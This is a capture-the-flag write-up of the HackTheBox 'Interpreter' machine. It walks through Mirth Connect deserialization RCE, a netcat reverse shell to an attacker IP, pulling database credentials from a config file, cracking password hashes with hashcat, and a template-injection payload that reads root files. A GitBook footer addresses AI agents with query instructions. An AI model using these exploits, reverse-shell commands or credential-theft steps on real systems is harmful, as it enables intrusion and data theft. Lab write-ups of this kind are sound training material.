> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/htbwriteups/interpreter-htb-hackthebox-writeup-or-by-alham-rizvi.md). # Interpreter HTB - HackTheBox Writeup | By Alham Rizvi *** #### Interpreter HTB — HackTheBox Walkthrough | By Alham Rizvi
#### Enumeration We begin by mapping the target domain locally so the application resolves correctly. ``` echo "ip interpreter.htb" >> /etc/hosts ``` This command adds an entry in `/etc/hosts`, allowing our system to resolve `interpreter.htb` to the target IP. *** Next, we perform a scan to identify open services. ``` nmap -sC -sV -Pn ip ``` Explanation: * `-sC` runs default scripts for basic enumeration * `-sV` detects service versions * `-Pn` skips host discovery (useful in VPN environments like HTB) #### Scan Results * Port 22 → SSH (OpenSSH) * Ports 80 and 443 → Apache web server This indicates a web-based attack surface. #### Web Enumeration Accessing the website reveals a service running **Mirth Connect**. We verify the API endpoint: ``` https://interpreter.htb/api ``` The version is identified as: ``` 4.4.0 ``` #### Initial Foothold — RCE via Mirth Connect This version is vulnerable to a Java deserialization Remote Code Execution vulnerability. The application accepts XML input and unsafely processes it, allowing arbitrary command execution. #### Exploit Execution We use a Python script to send a malicious payload. ``` python3 exploit.py -u https://interpreter.htb -c 'id' ``` Explanation: * `-u` specifies the target URL * `-c` defines the command to execute * `id` confirms command execution on the target Successful output confirms remote code execution. #### Reverse Shell We move from command execution to a full shell. #### Start a listener on the attacker machine: ``` nc -lvnp 4444 ``` #### Trigger reverse shell from the target: ``` python3 exploit.py -u https://interpreter.htb -c 'nc -c sh 10.10.16.162 4444' ``` This makes the target connect back to our machine. #### Stabilize the shell: ``` python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm ``` This improves shell interaction. We now have access as: ``` mirth@interpreter ``` #### Credential Discovery We search for configuration files that may contain credentials. ``` cat /usr/local/mirthconnect/conf/mirth.properties ``` This file stores database connection details. #### Extracted credentials: ``` User: mirthdb Pass: MirthPass123! DB: mc_bdd_prod ``` #### Database Access We connect to the local database. ``` mysql -u mirthdb -p -h 127.0.0.1 mc_bdd_prod ``` Explanation: * `-u` username `-p` prompts for password * `-h` specifies host #### Extract user credentials: ``` SELECT CONCAT(p.USERNAME, ':', pp.PASSWORD) FROM PERSON p JOIN PERSON_PASSWORD pp ON p.ID = pp.PERSON_ID; ``` Output: ``` sedric:u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== ``` #### Password Cracking Decode the hash: ``` echo '' | base64 -d | xxd -p ``` Then format it for cracking and use hashcat: ``` hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt ``` Recovered credentials: ``` sedric:snowflake1 ``` #### User Access Login via SSH: ``` ssh sedric@interpreter.htb ``` Use the cracked password. #### Retrieve user flag: ``` cat user.txt ``` #### Privilege Escalation We enumerate running processes. ``` ps aux | grep python ``` We identify a root-owned script: ``` /usr/local/bin/notif.py ``` #### Internal Service Discovery This script listens on: ``` 127.0.0.1:54321 ``` This means the service is only accessible locally. #### Exploitation — Template Injection We craft a malicious XML payload: ``` xml='{open("/root/root.txt").read()}aaa01/01/2000a' ``` Explanation: * The application evaluates expressions inside `{}` * We inject Python code to read the root flag #### Send the Payload ``` printf "POST /addPatient HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/xml\r\nContent-Length: %d\r\n\r\n%s" "$(echo -n "$xml" | wc -c)" "$xml" | nc 127.0.0.1 54321 ``` Explanation: * `printf` builds a raw HTTP request * `Content-Length` ensures proper request formatting * `nc` sends the request to the local service #### Root Flag The response contains the contents of: ``` cat /root/root.txt ``` #### Attack Chain Summary ``` Web Application → Mirth RCE → Shell as mirth → Config file → Database credentials → Crack password → SSH as sedric → Local service exploitation → Template Injection → Root access ``` #### Key Takeaways * Java deserialization vulnerabilities lead to full RCE * Configuration files often contain sensitive credentials * Internal services can be abused after initial access * Template injection can lead directly to root access --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://alham-rizvi.gitbook.io/alhamrizvi/htbwriteups/interpreter-htb-hackthebox-writeup-or-by-alham-rizvi.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.